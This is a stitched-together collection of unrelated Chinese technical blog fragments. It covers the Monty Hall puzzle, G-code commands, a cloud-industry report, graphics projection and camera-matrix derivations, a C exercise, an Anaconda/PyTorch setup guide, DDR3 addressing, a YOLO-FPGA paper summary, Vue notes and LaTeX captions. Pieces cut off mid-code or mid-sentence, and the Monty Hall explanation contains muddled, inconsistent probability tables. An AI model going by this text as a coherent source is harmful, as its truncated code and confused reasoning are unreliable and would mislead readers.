前言 大家都知道要想成为一名优秀的开发工程师,需要数学基础好,即你要有很强的逻辑思维能力,这里有一道美国斯坦福大学出的一道逻辑思维的测试题,检测你的逻辑思维能力,大家可以看看自己逻辑能力怎么样。
题目 有一个抽奖活动,有三扇门,一扇门后是汽车,另外两扇后是山羊,你第一次选择其中一扇门后,主持人,会打开另外两扇门中的一个是山羊的门,然后,再次让你做选择,是坚持第一次的选择还是选择换门,请问参加这次活动抽中汽车的概率是多少?
下面有几个选项供大家选择
A .1/3 B.1/2 C.1/6 D.2/3 E. 5/6
答案 恭喜你选对了,你猜的没错,答案就是D,中将的概率是三分之二,这是一个简单的数学概率问题。
解析 首先这次抽奖包含了两次选择,单独把每次选择分开来看,第一次中将的概率是1/3,第二次中将的概率是1/2,问题的关键是要把两次选择当成一个过程去计算概率,还有一点值得注意的是,最终的结果是第二次选择为准的,也就是说,无论你第一次是否选择对了小汽车,如果第二次,没选中的话,也是没用。下面我们列出第一次和第二次选择的所有可能。
第一次
第二次
山羊
山羊(不换们)
山羊
汽车(换门)
山羊
山羊(不换们)
山羊
汽车(换门)
汽车
山羊(换门)
汽车
汽车(不换们)
由上图可以看出,第一次 所有可能出现的结果中,汽车出现了两次,山羊出现了4次,第一次就抽中汽车的概率是1/3,第二次,由于主持人打开一扇门,帮我们排除了一个山羊选项。第二次所有的可能 汽车出现了3次,山羊出现了两次,所有第二次选中汽车的概率是1/2。但是到这里,我们是统计了换门和不换们,一起的概率。假设我们第二次都选择换门的话,出现的所有可能,就是下图所示
第一次
第二次
山羊
汽车(换门)
山羊
汽车(换门)
汽车
山羊(换门)
由上图可以看出, 所有可能出现的结果中,汽车出现了两次,山羊出现了一次,由此看见,只要我们,第一次和第二次选择不同的门,即第二次选择换门,我门的中将概率奖达到最大2/3。
验证 下面用代码模拟,人工选择,操作一万次,看看统计中将次数占比,做验证。
import cn.hutool.core.util.RandomUtil; import com.google.common.collect.Lists; import java.util.ArrayList; import java.util.HashMap; import java.util.List; import java.util.Map; import java.util.stream.Collectors; public class MockDraw { public static void main(String[] args) { List<String> result=new ArrayList<>(10000); for (int i = 0; i < 10000; i++) { result.
目录 3D打印Gcode文件命令详解Gcode文件作用 常用命令;命令-注释G28命令-复位G90和G91命令-设置定位模式M82和M83命令-设定挤丝模式G1命令-运动命令G92命令-设置当前位置M104和M109命令-加热喷嘴M140和M190命令-平台热床加热M106命令-设置冷却风扇运行 3D打印Gcode文件命令详解 目前看了很多资料,感觉都解释得不够细节,很多还是直接复制粘贴的,所以特别写一篇关于3D打印Gcode文件中常用命令的详细解释。Gcode的命令很简单,但是前提是需要有清晰的说明。
Gcode文件作用 Gcode文件是用来命令3D打印工作的,你想要将电脑里的三维模型用3D打印机打印出来,首先需要将模型(常见.stl和.obj格式)输入到切片软件中(例如Cura)进行平面切片,再生成Gcode文件。将Gcode文件交给3D打印机读取,打印喷头才会按照规划好的路径来填充每一层,再逐层堆叠最后成型。
因此Gcode文件的内容就是控制3D打印机的命令,Gcode文件内是一行对应一条控制命令,按从上到下的顺序逐行执行命令。因此如果你是开发切片软件的开发人员,切片算法的研究人员或者3D打印机的制造商,了解Gcode的命令是非常重要的。但是关于Gcode命令又很少能找到很清晰的介绍,大多数还是停留在G1命令是做什么的,不说清楚各项数据,用什么单位。(Gcode文件可以使用记事本直接打开浏览)
常用命令 ;命令-注释 ; comment 如果在Gcode文件里看到一句话或者一行的开头有个“;"符号,代表是注释,注释后面随便写什么都行,打印机都不会讲其内容作为命令执行。
评价:注释通常可以用来写备注,写打印模型的信息介绍等。
G28命令-复位 G28 在Gcode文件开头或结尾常看到一行G28,这是复位命令,后面不带任何字段参数,用来告诉打印机将所有轴(通常是控制喷嘴移动的X、Y和Z轴)复位,也就是会控制轴往远端移动,直至碰到尽头的止动件为止。
也可以加上参数,表示仅控制指定的轴复位
G28 X Y ;只控制X轴和Y轴复位 G28 Z ;只控制Z轴复位 评价:G28命令通常用在Gcode文件开头(初始化喷嘴位置)和Gcode文件末尾(移走喷头方便取走打印件)。
G90和G91命令-设置定位模式 G90 G91 命令打印机当前使用绝对坐标系还是使用相对坐标系。G90命令打印机使用绝对坐标系,G91命令打印机使用相对坐标系,后面不带字段参数。
绝对坐标系:移动命令将告诉打印机移动到精确的XYZ坐标点。
相对坐标系:移动命令将告诉打印机从当前位置移动到多远(从当前位置出发的位置)
G90 G1 X10 Y10 ;移动到打印平台坐标为X=10 Y=10的坐标位置 G91 G1 X10 ;移动到当前位置的X方向10mm的位置 评价:Gcode文件通常使用G90绝对坐标系多一点,更方便定位。如果你只想喷嘴在当前位置进行已知距离的偏移,那可以设置使用G91相对位置。
M82和M83命令-设定挤丝模式 M82 M83 这个命令与G90和G91类似,不过是用来命令挤出丝材的模式。M82命令使用绝对挤出模式,M83命令相对挤出模式。
绝对挤出模式:计算一共挤出多少丝材,最开始为0,然后挤出多少都会累加。
相对挤出模式:从当前位置再挤出多少丝材,当前位置为0。
评价:绝对挤出模式更常用多一点。
G1命令-运动命令 G1 F200 X10 Y10 Z10 E20 G1命令是最重要的命令,占Gcode文件的绝大部分内容。G1是用来命令打印机运动的,包括喷嘴和挤丝。如上G1命令后跟着几个字段参数,分别是F喷嘴移动速度,XYZ是目标点坐标,E是挤丝量。下面详细介绍这个几个参数:
F:用于命令喷嘴最大移动速度,此速度必须始终以mm/min(毫米每分钟)为单位指定,即使你再切片软件中使用mm/s(毫米每秒)作为单位,在发出G1命令时,仍然需要统一使用mm/min作为单位来指定。打印机本身的控制主板上会设置一个速度上限,如果F规定的速度小于上限,则喷嘴速度将以F值为准。打印时喷嘴会慢慢加速到F值后保持匀速打印。如果设置的F值超过速度上限,那么喷嘴的移动速度也只能到达速度上限。X、Y、Z:命令喷嘴移动到给定坐标值处,单位为毫米mm,因此要确保模型的尺寸是不是也以毫米为单位度量。XYZ值对应的是路径规划后生成路径上的一个个路径点(路径由许多个离散的点组成)。E:控制给丝量。实际上E值对应的是丝材线轴的位置,也就是输入丝材的长度,而不是喷嘴挤出丝的量(因为实际E轴实际控制进丝电机的运动)。E值单位为毫米mm,如果E轴移动10毫米,就会又10毫米的丝材被推向喷嘴,由于喷嘴的直接通常远小于丝材的直接(例如喷嘴直径是0.4mm,丝材直径是1.75mm),因此将10mm的丝材推入喷嘴可能会产生数百毫米长的挤出量。因此如果研究算法时要计算E值,需要从挤丝量反推丝材推入量,具体根据喷嘴直径和喷嘴在前后两个坐标点的移动距离来算圆柱体的体积(圆柱体时模拟挤丝形状),然后利用丝材直径反推出丝材推入喷嘴的距离。当然E值除了能给丝,也能控制回抽,判断回抽体现在绝对挤丝模式下当前点的E值比上一个点的E值小,相对挤丝模式下就是E值为负数。 G1 X10 Y10 G1 F600 Z100 G1 X10 E2 G1 F200 X2 E1 ;G1命令后面的字段参数可以自由组合,打印机读到哪个参数就会进行对应运动 评价:除了G1命令,还有一个G0命令,实际上在运动上两个命令的作用是相似的。但是3D打印机一般用G1命令来控制,不会用G0,所以认准G1吧。之前找的很多资料,都不谈F值和E值是什么单位,也不谈E值怎么计算,具体对应哪个量,所以这里加上详细补充。
《中国云计算创新活力报告》从基础设施、基础架构及产品、PaaS层软件能力、智能化能力、工业理解能力、安全可靠能力六大维度对于中国云计算厂商的技术创新活力进行了评估和分析,第一次全面展示了中国云计算厂商的整体竞争力和品牌差异化影响。
中国云计算行业发展历程回顾
云计算是以分布式资源管理技术、虚拟化技术等多种技术为依托,将服务器等硬件资源池化形成共享池,并按需向客户提供计算、网络、存储等产品服务,这种模式提供可用的、便捷的、按需的网络访问,进入资源共享池只需投入很少的管理工作, 就可以快速构建数字化基础架构。
纵观全球云计算发展历程,总体可分为三个时期:
20世纪80-90年代,云计算行业整体处于酝酿期。
20世纪80-90年代,云计算行业整体处于酝酿期。这一阶段,有两个标志性事件。首先是1983年 Sun 公司提出“网络计算机”(The network is the Computer)概念,并推出相关的工作站产品。其次,1999年,VMware 推出了针对 x86 系统的虚拟化技术,旨在解决提升资源利用率方面存在的很多难题,并将 x86 系统转变成通用的共享硬件基础架构,以便使应用程序环境在完全隔离、移动性和操作系统方面有选择空间。
进入21世纪初期,云计算行业走进快速发展期。
2006年,Google 首席执行官埃里克施密特在搜索引擎大会上首次提出“云计算”的概念;2006年,亚马逊旗下 AWS 推出了 Simple Storage Service(S3),同年 AWS 第一个EC2实例开启公测,该主机使用Xen虚拟化技术来提供实例服务。这是最早的商业化云服务产品, 服务商把裸金属装上 Hypervisor,把计算和网络资源分块后进行售卖。
2010年至今,云计算行业则逐步走向成熟。
2010年 Rackspace 和 NASA 公开了 Openstack 的开源项目组。从2010年开始,出现了很多基于 OpenStack 帮助企业建立私有云的服务商;阿里云自2008年开始孵化,2009年飞天写下了第一行代码,2011年开始对外提供服务。华为云则在2010年发布云操作系统 FusionSphere,腾讯云、百度云也相继投入云计算的研究,并全面对外开放提供服务。
我国云计算产业近年来年增速超过30%,是全球增速最快的市场之一。尤其是新冠疫情以来,远程办公、在线教育、网络会议等需求进一步推动了云计算市场快速发展。云计算正逐渐成为赋能数字经济的数智创新平台,成为数字经济的基础设施。
云计算竞争的核心是技术壁垒,关键是把数百万台服务器变成一台超级计算机的技术体系。在云计算的发展历史上,中国厂商与美国厂商的起步时间所差无几,目前中国云厂商在全球范围内也已经占据了一席之地。2008年,亚马逊AWS开始崛起,微软由纳德拉带队开始探索云业务。以阿里云和华为云为代表的中国云厂商则几乎在同时跟进。
市场数据显示,2021年,亚马逊AWS收入622亿美元,同比增长37%;微软智能云收入600亿美元,增长24%;谷歌云收入192亿美元,增长47%。同期,阿里云收入724亿元(111亿美元),同比增长30%。
课题组调研发现,中国云厂商和海外云厂商间的差距不断缩小,市场份额、收入增速、利润规模均体现了这一点。市场份额、收入增速、利润规模的差距只是表象,更深层次的问题来源于产业成熟度。中国云与数字化市场的发展阶段尚处于中前期,市场规模和产业成熟度仍有待进一步提升。
国内主要云厂商技术创新活力不断增强
云计算作为数字经济的底座,在我国已历经14年的发展,在技术创新、产品能力方面已经取得了长足的进步。报告从基础设施、基础架构及产品、PaaS层软件能力、智能化能力、行业理解能力、安全可靠能力六个维度,对云计算厂商的技术创新活力进行了研究和分析。
在基础设施能力方面,
华为云、阿里云、腾讯云等中国云厂商整体处于第一梯队。目前,云厂商的大型数据中心正在向着新型数据中心演进,以支撑经济社会数字转型、智能升级、融合创新为导向,并实现了与网路和云计算的高度融合。另一方面,政务云、行业云等非公有云业务的数据中心也发展得越来越成熟。各个云厂商在数据中心的绿色低碳方面的投入也在逐渐增加。
在基础架构及产品能力方面,
阿里云、华为云、腾讯云、百度智能云整体处于第一梯队。云计算基础架构是在计算环境中协同使用各个技术的基础,在虚拟化技术的加持下高达数十万台甚至上百万台服务器资源得以池化、统一调度并对外提供服务。计算、存储、网络等基础云计算产品的形态及功能也越来越丰富。
在PaaS软件能力方面,
阿里云、华为云整体处于第一梯队。遍布全球的数据中心提供云计算的基础设施,是云服务厂商的底层能力,云原生、大数据、数据库、RTC等PaaS层能力,则起到了承上启下的作用,向下兼容了不同的基础设施,向上则支撑起了多种多样的应用。
在智能化能力方面,
百度智能云、华为云、阿里云整体处于第一梯队。近年来,异构计算的能力大大增强,基础设施的能力得到了提升,人工智能也从摸索阶段逐渐渗透到各行各业,以云为载体输出人工智能技术,解决了成本和部署的问题。在人工智能自研框架和开发平台(百度的Paddle、阿里的PAI、华为云的ModelArts、商汤SenseParrots等)、人工智能大模型(百度文心大模型、华为云盘古大模型,阿里云M6大模型、商汤书生大模型)等方面云厂商的能力也在持续提升。
在行业方案及技术能力方面,
华为云、阿里云、腾讯云整体处于第一梯队。数字经济和实体经济的融合是大势所趋,在实体经济中找到应用场景,赋能生产力升级,推动各行业完成数字化,通过创新性的技术手段解决行业中数字化转型的难点、痛点,并实现有效落地,是各个云厂商的使命所在。
在安全可靠能力方面,
华为云、阿里云、腾讯云整体处于第一梯队。“十四五”规划强调了云操作系统迭代升级、弹性计算和云安全技术未来发展的重要性。在云计算产品功能越来越全面越来越完善的当下,数据安全、数据容灾、系统的高可用等越来越成为云计算用户关心的重点。
中国云计算行业整体的发展趋势
课题组经过调研分析,预测中国云计算行业技术发展将呈现出以下趋势:
第一:
进一步夯实算力基础设施。一体化、新型的数据中心布局,扩大算力设施规模,提高算力使用效率,实现算力规模化、集约化发展。
第二:
基础架构和产品技术持续创新。底层技术设施的建设和底层云计算架构的不断成熟。云计算PaaS层领域的技术也在快速发展。
第三:
PaaS层技术走向繁荣发展。随着基础设施的建设和底层云计算架构的不断成熟。云计算PaaS层领域的技术也在快速发展。
第四:
人工智能融合云计算加速向行业落地。人工智能技术正在加速渗透至云计算解决方案之中,真正产生化学效应。
-潘宏
-2009.4.20 -本人水平有限,疏忽错误在所难免,还请各位数学高手、编程高手不吝赐教
-email: popyy@netease.com
-B站专栏:https://b23.tv/oWsl6PD
之前我们在《深入探索透视投影变换》以及《深入探索透视投影变换(续)》中研究了OpenGL、D3D以及M3G的透视投影变换的原理以及生成方法。这些方法在当前的主流图形API中得到了普遍使用。但关于投影应用,还有一类经常使用的投影方式需要我们深入理解——正交投影,我们在本篇文章里面研究它(这里假设读者已经看过前两篇文章,并理解了绝大多数的理论,因为正交投影比透视投影的推导关系简单得多,因此我们的推导会非常得快,如果读者有任何的不解,请参考前两篇文章或者通过email联系我)。
在具体研究之前我觉得有必要把平面投影的分类简单介绍一下,目的是为了让大家有一个总体的认识,从而更好的理解这个知识体系。请看下图:
平面投影分为平行投影和透视投影两种类型,后者我们在前两篇文章中介绍了。平行投影则是具有矩形观察体的投影方式(透视投影则是视锥观察体),它不会根据物体离视点的远近缩放物体(透视投影则会)。平行投影可以分成侧投影和正交投影两种类型。这两种类型如何区分呢?我们继续看图吧:
上图中,v是投影平面,n是它的法线。p和q是平面外两点,p’和q’分别是它们在平面上的投影点。q的投影方向向量为Q = 单位化(q’-q),而p的投影方向向量为P = 单位化(p’-p),其中Q不平行于n而P平行于n,则q的投影叫做侧投影,而p的投影叫做正交投影。正交投影是我们今天的研究对象。
实际上上面对平面投影的分类还可以继续向下细分,比如透视投影可以分为一灭点、二灭点以及三灭点透视投影。侧投影则可以继续分为散点侧投、斜二轴侧投等等。而正交投影则可以分成轴侧投影以及多视点正交投影等等。如果读者对此感兴趣,可以参考相关的图形学教程。
接下来我们研究正交投影。分别介绍OpenGL、D3D以及M3G的。我们的环境约定(左右手坐标系、行列向量乘法、CVV范围)仍然尊重相应API自己的设置。
OpenGL正交投影变换 下图是OpenGL的右手坐标系中观察空间的情形,我们看到的是正交投影的矩形观察体,原点是相机位置,n是近裁剪平面到相机平面的距离,f是远裁剪平面到相机平面的距离。p是观察体中的一个点,p’是它投影之后的点。
投影之后我们有关系:
因为是正交投影,没有统一的投影射线目标点,因此投影之后的x和y不会变,而z则永远地变成了-n,跑到了投影平面上(我们让投影平面和近裁剪平面重合),它已经没用了,则我们用这个没用的信息保存z(为了之后片元操作的时候用),写为:
从而在z方向上构建 CVV,使得当z在近裁剪平面的时候,az+b=-1,而z在远裁剪平面的时候az+b=1(OpenGL的CVV的z范围是[-1,1],我已经说了三遍了,如果读者感到迷惑不解,强烈建议把前两篇文章理解)。我们算出a和b
然后我们就通过当前的结果反推正交投影矩阵版本一
接着把x和y建立成CVV情形(简单的线性插值)
反推正交投影矩阵版本二(最终版本)
则右边的那个矩阵就是OpenGL的正交投影矩阵,它可以通过glOrtho创建出来。如果你读过并理解了之前两篇文章,你会觉得我的推导越来越简洁利落了:)OpenGL的解决了,下面是D3D的。
D3D正交投影变换 下图是D3D左手坐标系中观察空间的情形。因为是左手坐标系,因此近裁剪平面在z = n平面,而远裁剪平面在z = f平面。
投影之后,有 用第三个没用的信息保存z,写为
使得(D3D的CVV的z范围是[0, 1])
反推正交投影矩阵版本一
对x和y进行CVV线性插值
分两种情况讨论(如果读者对此不清楚,请参考第二篇文章《深入探索透视投影变换(续)》):
(1) 投影平面居中,销掉两边的1/2,然后反推正交投影矩阵
后面那个矩阵就是相应正交投影矩阵,这个也是D3DXMatrixOrthoLH方法所使用的情况。
(2) 一般情况,投影平面不一定居中,直接通过投影结果反推正交投影矩阵
后面那个矩阵就是相应的正交投影矩阵,这个也是D3DXMatrixOrthoOffCenterLH方法所使用的情况。好了,D3D的也介绍完毕,接下来是M3G的。
M3G正交投影变换 M3G是对OpenGL的封装,因此环境和OpenGL的相同,我们从对x和y的插值来看
M3G只使用居中的投影平面,因此可以销掉两边的1/2,得到
接着反推出正交投影矩阵
最后那个矩阵就是M3G的正交投影矩阵,也就是Camera.setParallel所使用的形式。
结束语 以上介绍了三个API所使用的正交投影矩阵的生成方法,三者的正交投影矩阵依然可以通过视野(FOV)以及投影平面的宽高比(Aspect Ratio)来设置,这里请读者自行推导,可以参考第二篇文章《深入探索透视投影变换(续)》。
正交投影矩阵和透视投影矩阵一样可以有无穷多个,但原理相同,不同的只是环境。目前正交投影在3D引擎中有着和透视投影同样的地位,它至少是3D用户界面系统的基础。因此,有必要清晰地理解正交投影矩阵和透视投影矩阵的原理,如此才能够真正创建、修改、使用好图形引擎。
-潘宏
-2009.12.31
-本人水平有限,疏忽错误在所难免,还请各位数学高手、编程高手不吝赐教
-email: popyy@netease.com
-B站专栏:https://b23.tv/oWsl6PD
一些网友写信给我希望能够了解固定流水线中世界空间到相机空间变换矩阵的具体推导过程。其实之前我在《向量几何在游戏编程中的使用6》中已经简单的把相机变换作为一个使用基理论的例子进行了说明,但可能仍然不够具体。这篇文章中,我会尽力阐述相机变换的整个来龙去脉。希望能够对正在学习固定流水线的朋友们有所帮助。这里我们仍然会在推导相机变换之前介绍几个理论知识,目的是为了更好的理解推导过程。我们马上开始!
什么是相机变换? 在流水线中,当物体从模型坐标通过世界矩阵变换到世界空间之后,它将通过相机变换从世界空间变换到相机空间。下图的固定流水线中,蓝色框中的部分就是这个过程。
其实,所谓的相机空间,就是以相机作为坐标原点的一个参考系,所以,从世界空间变换到相机空间,就是把物体从世界坐标系,变换到相机为原点的相机坐标系,如下图所示。
左半部分是小人在世界空间中的位置,右半部分是小人变换到相机空间后的位置。这样的一个变换可以有很多种方式来实现:欧拉相机系统、UVN系统、Two Points & A Twist等等。这里我们讨论最为广泛的UVN系统构建相机矩阵,如果读者对其他方法感兴趣,可以查找相关的资料。我们仍然讨论OpenGL的相机矩阵的推导,其他API可以类似的推导。
坐标转换公式 我们在《向量几何在游戏编程中的使用6》中提到了正交矩阵,这是在基理论基础上的一个概念(如果对基理论不是很熟悉,请参考《向量几何在游戏编程中的使用6》)。正交矩阵所有列(行)向量构成了一个标准正交基(它的列向量都是互相正交,并且长度为1),因此,可以把正交矩阵看成是对一个坐标系的描述。同时,我们知道:同一个向量,在不同的基下面的坐标是不同的。因此,可以用正交矩阵来代表坐标系(也可以看作基)从而写出在统一的参考系(全局坐标系)下同一个向量在不同基中的坐标。
上面的式子表示,参考系中向量v在基Q中的坐标是v’,在基R中的坐标是v’’(注意这里的环境下基矩阵是用列向量表示的,这样相乘之后的结果表示的是基向量的线性组合)。如下图,黑色基表示的是参考系,红色是基Q,蓝色是基R,v是参考系中的一个向量。
为了让大家更清楚,我举一个例子:
上式的意思是:参考系中的向量v,在基Q( 1 0 0 ), ( 0 1 0 ), ( 0 0 1)下的坐标是( 1 2 6 ),在基R( 0 1 0 ), ( 0 0 1 ), ( 1 0 0 )下的坐标是( 2 6 1 )。注意,我们所讨论的所有基和向量的关系都只是线性表示的关系,没有位移关系,因此我们用3D向量表示,而不是4D的齐次表示(如果对齐次坐标不是很熟悉,请参考《深入探索透视投影变换》中的齐次坐标部分)。
这样,已知一个基Q和向量v在它之中的坐标v’,以及另外一个基R,我们可以通过v=Qv’=Rv’’公式来计算v’’。
上面就是求v’’的公式,注意到右边需要计算基R的逆矩阵R^-1,因为基R是正交矩阵,而正交矩阵的一个重要性质就是逆等于转置。因此,我们可以把它写成
这个公式就是坐标转换公式。特别地,如果Q是和参考系相同的坐标系(3D编程中大多数情况下如此),比如世界坐标系,则Q是一个单位矩阵I,则我们可以把它写成
这个坐标转换公式可以解释为:对于世界坐标系中的向量v’,它在坐标系R中的坐标是v’’。我们在后面会用到这个公式。
除了用正交矩阵来阐述坐标转换,我们还可以使用点积所代表的共线程度(colinear amount)来描述坐标转换(André LaMothe的《Tricks Of The 3D Game Programming Gurus》)。这个理论基于点积的几何意义:一个向量在另一个向量上的共线程度。比如两个向量v和s点积
几何意义就是v在s方向上的投影长和s的长的乘积,或者是s在v方向上的投影长和v的长的乘积(积的符号为:若v和s的角度小于90度,积为正,如果是直角,积为零,否则为负)。
C语言实战题目:【if-else条件分支语句】
从键盘任意输入a,b,c的值,编程计算并输出一元二次方程ax2+bx+c=0的根,当a=0时,输出“该方程不是一元二次方程”,当a≠0时,分b2−4ac>0、b2−4ac=0、b2−4ac<0三种情况计算并输出方程的根。
**输入格式要求:"%f,%f,%f" 提示信息:“Please enter the coefficients a,b,c:”
**输出格式要求:“It is not a quadratic equation!\n”
“x1 = x2 = %.2f\n”
“x1 = %.2f, x2 = %.2f\n”
"x1 = %.2f+%.2fi, " “x2 = %.2f-%.2fi\n”
程序运行示例:
Please enter the coefficients a,b,c:1,4,2
x1=-3.4142, x2=-0.5858
//EPS是个很小的数 如1e-6,因为浮点数在内存中的表示是不精确的,会有很微小的误差,所以判断是否为0就看它的绝对值是不是<=EPS(类似于高数里的极限,EPS无限趋近于0)
//函数名: exit() 所在头文件:stdlib.h 功能: 关闭所有文件,终止正在执行的进程,exit(0)表示正常退出,exit(1)/exit(-1)表示非正常退出,exit() 通常是用在子程序中用来终结程序用的,使用后程序自动结束,跳回操作系统。
#include <stdio.h> #include <stdlib.h> #include <math.h> #define EPS 1e-6 int main() { float a, b, c, p, q, disc; printf("Please enter the coefficients a, b, c:"
由于CUDA Version更新到11.7了,因此,本教程也同步更新
1 安装Anaconda (1)首先打开Anaconda官网,下载对应平台的安装包
Anaconda官网
我们这里安装的包是Anaconda3-2022.10-Windows-x86_64.exe
然后,双击exe文件,开始安装
等待安装结束(这里选择Just me即可)
注:这里有一种方法可以自动添加环境变量,在安装的过程中,勾选自动添加到Path选项即可!这样做可跳过下面的步骤(2)
(2)安装完成后,点击系统属性设置——添加环境变量(安装时勾选自动添加到Path选项的可跳过此步骤):
在系统Path路径下添加(高亮部分的两行内容,具体的安装路径以机器上为准):
\Anaconda3\Scripts
\Anaconda3\Library\bin
(3)打开CMD命令,输入conda,能正常显示,说明已经安装成功了:
2 安装Pytorch (1)初始化.condarc文件
conda config --set show_channel_urls yes 这个时候,我们打开C盘用户下,可以看到多了一个.condarc文件
(2)打开这个文件,按照以下的方式进行编辑:
先设置虚拟环境的根目录
envs_dirs: - D:\software\Anaconda3\envs 然后添加channels:
清华大学镜像(安装速度快,但有时最新版不一定能安装成功)
channels: - defaults show_channel_urls: true channel_alias: https://mirrors.tuna.tsinghua.edu.cn/anaconda default_channels: - https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/main - https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/free - https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/r - https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/pro - https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/msys2 custom_channels: conda-forge: https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud msys2: https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud bioconda: https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud menpo: https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud pytorch: https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud simpleitk: https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud 阿里云镜像(安装速度慢,但package内容较全)
channels: - defaults show_channel_urls: true default_channels: - http://mirrors.
def hanoi(n, x, y, z): if n == 1: print("这里是if开始") print(f'n={n}啊 ' + x, '-->', z) # 如果只有 1 层,直接将金片从 x 移动到 z print("这里是if结束") else: print("这里是else开始") hanoi(n - 1, x, z, y) # 将 x 上的 n-1 个金片移动到 y print(f'n={n}嗯 ' + x, '-->', z) # 将最底下的金片从 x 移动到 z hanoi(n - 1, y, x, z) # 将 y 上的 n-1 个金片移动到 z print("这里是else结束") n = int(input('请输入汉诺塔的层数:')) hanoi(n, 'A', 'B', 'C') 这么理解对不对? T_T |p
ddr3的IP地址可以通过例化的器件得到(比如MT41J128M16xx-125,其中128M=2^27,则例化后总有效地址为28,多出的最高一位是rank,一般为1bit)
顶层端口(行)地址位宽为:13
bank地址为:3
默认列地址10bit的话,总的有效地址应该是26位
例化ip的地址位宽为:14
总的有效地址应该是:14+10+3=27
用户程序地址位宽为:22(这个地址是以128bit为单位的,128=16(16是顶层端口数据位宽)*8,8=2^3,所以后面22加上3);
用户程序bank地址位宽为2;
总的有效地址应该是::22+3(一次突发8个地址,占3bit)+2=27
用户程序总有效地址与例化IP总有效地址是一致的,但是与顶层端口总有效地址相比,多出一个位,似乎超出ddr芯片容量(即顶层端口所推出的总有效地址)了。
但从另外一个角度看,似乎也行。即用户程序中,写bank地址是2’b00,2’b01,2’b10,2’b11递增的(则读bank地址2’b11,2’b00,2’b01,2’b10),
如果仅仅看最低位,则写bank地址0,1,0,1的变化,读bank地址1,0,1,0的变化,可以看做只有两个bank相互切换,而不是四个bank相互切换。这样一来用户程序总的有效地址应该是:22+3+1=26,与ddr芯片总的有效地址一样。
这样一来,要考虑的另一个问题是,例化ip的总的有效地址是27,用户程序和ddr芯片的总的有效地址是26,前者大是不是可以。应该是可以的,因为可以将前者多出的最高位看做是0,多或者不多这个0,对结果没有影响(无论是bank+row+col,还是row+bank+col)。
目录
一、简介
1.题目:
2.时间:
3.来源:
4.简介:
5.论文主要贡献:
二、相关名词
三、 相关背景知识
1.YOLO网络
2.Winograd快速卷积计算(针对3x3卷积层)
3.GEMM快速卷积计算(针对1x1卷积层)
4.卷积层、归一化层的合并计算
四、处理流程概述
1.动态量化
2.针对3x3卷积层的加速计算引擎PE1
3.针对1x1卷积层的加速计算引擎PE2(融合了重排序计算模块)
4.双缓存系统和多DMA通道
一、简介 1.题目: YOLO 检测网络的 FPGA 加速计算模型的研究
2.时间: 2022.08
3.来源: Journal of Chinese Computer Systems(小型微型计算机系统)
4.简介: 伴随着检测精度的提高,YOLO系列网络的深度以及参数量越来越大,因而需要更大的计算量和内存。文中基于FPGA 验证平台研究并实现了 YOLO系列神经网络的加速计算模型,使用了动态定点量化、流水线、循环展开、模块融合等策略,提高了fpga计算资源的利用率,降低了数据传输的时延,提高了整体性能。
5.论文主要贡献: 从三个方面(当前基于fpga的神经网络加速计算模型的相关工作主要集中在这三个方面)提高fpga加速计算的性能:
①通过对网络模型参数的量化和压缩实现加速。
②针对卷积层加速计算的研究。
③ 基于不同硬件执行架构的加速器设计。
本文使用了 Winograd、 GEMM 快速卷积方法,以及融合卷积层和归一化层参数的合并计算方法,采用多 DMA 通道传输和非卷积模块的融合计算进一步降低数据传输的延时,此外还设计了双缓存系统提高资源利用率以提高整体性能。
二、相关名词 YOLO:You Only Look Once
HLS:High Level Synthesis,高层次综合
IP:Intellectual Property,知识产权
GEMM:General Matrix Multiplication,通用矩阵乘
SIMD:Single Instruction Multiple Data,单指令多数据流
DMA:Direct Memory Access,一种快速传输数据的机制
前端学习笔记1[目前进度为笔记2] 0 一些零碎0. 1遇见的问题0.2 Vscode+gitee0.21 Vscode+gitlab0.3 缩放适配 1. svg-icon的配置和使用1.1 根目录新建vue.config.js文件,并在main.js中import,然后vue.use()它。1.2 src文件夹下新建icons文件夹、icons文件夹下新建svg文件夹、index.js、svgo.yml文件。1.3 index.js文件配置代码如下:1.4 svgo.yml文件配置代码如下:1.5 vue.config.js的配置代码1.6 图片的使用,阿里提供了一个图标库1.7 使用1.8 svg图片位置和大小的调整 2. this.$nextTick()的原理与使用场景3. Route、Routes、Router —— 路由3.1 概念3.2 路由配置3.3 静态路由3.4 动态路由3.5 完整的router.js代码段3.6 嵌套路由3.7 全局路由守卫 4. 夜空流星背景的实现4.1 css绘制4.2 流星动态增加4.3 效果图 5 sessionStorage / Vuex 存储用户信息5.1 使用sessionStorage5.2 使用Vuex5.2.1 安装配置 6. vue-video-player视频播放器插件的使用6.1 配置和基本使用6.2 更改部分样式 7 this指针重定向 0 一些零碎 0. 1遇见的问题 1、 经常忘记css中scoped存在与否所造成的影响,若想要实现重新渲染,css一定要定义为全局,否则无法重新渲染:
现象:在同一个url下,刷新页面,模板消失,因为没有找到对应全局的class
2、 疑问:如何让元素在动画加载完100%之后再消失呢?
3、 我真的!要!遭不住了! 每次sass都会安装错版本
npm install node-sass@4.14.1
npm install sass-loader@7.3.1 --save-dev
0.2 Vscode+gitee git init //初始化git仓库 git add .
通常我们都是用\caption{这里是标题}的方式给图表添加对应的标题,如果我们需要同时给出两个标题呢?(例如某些毕业论文中要求同时给出中英文标题)如果我们还要生成对应的图表目录呢?这些问题都可以利用bicaption这个包来解决。
1. 添加两个标题 在\begin{document}前添加
\usepackage{bicaption} 调用也非常简单,把之前的\caption{XXX}替换为:
\bicaption{The first caption}{The second caption} 效果如下:
2. 生成对应图表目录(同时包含两个标题内容) 考虑latex自带的命令
\listoffigures #这个管图 \listoftables #这个管表 图目录效果如下:
3. 生成对应图表目录(仅包含一个标题内容) 可能有时候只想用第一个标题,这个可以通过设定options来实现:
\usepackage[list=off]{bicaption} 此时导出的目录效果如下:
上面这种方法比较便捷,但是默认是隐藏第二个标题,bicaption也提供了更加自由的方式供我们对两个标题进行不同的处理:
\usepackage{bicaption} \captionsetup[bi-first]{⟨options⟩} \captionsetup[bi-second]{⟨options⟩} 如果想对图里面的第一个标题操作,可以用:
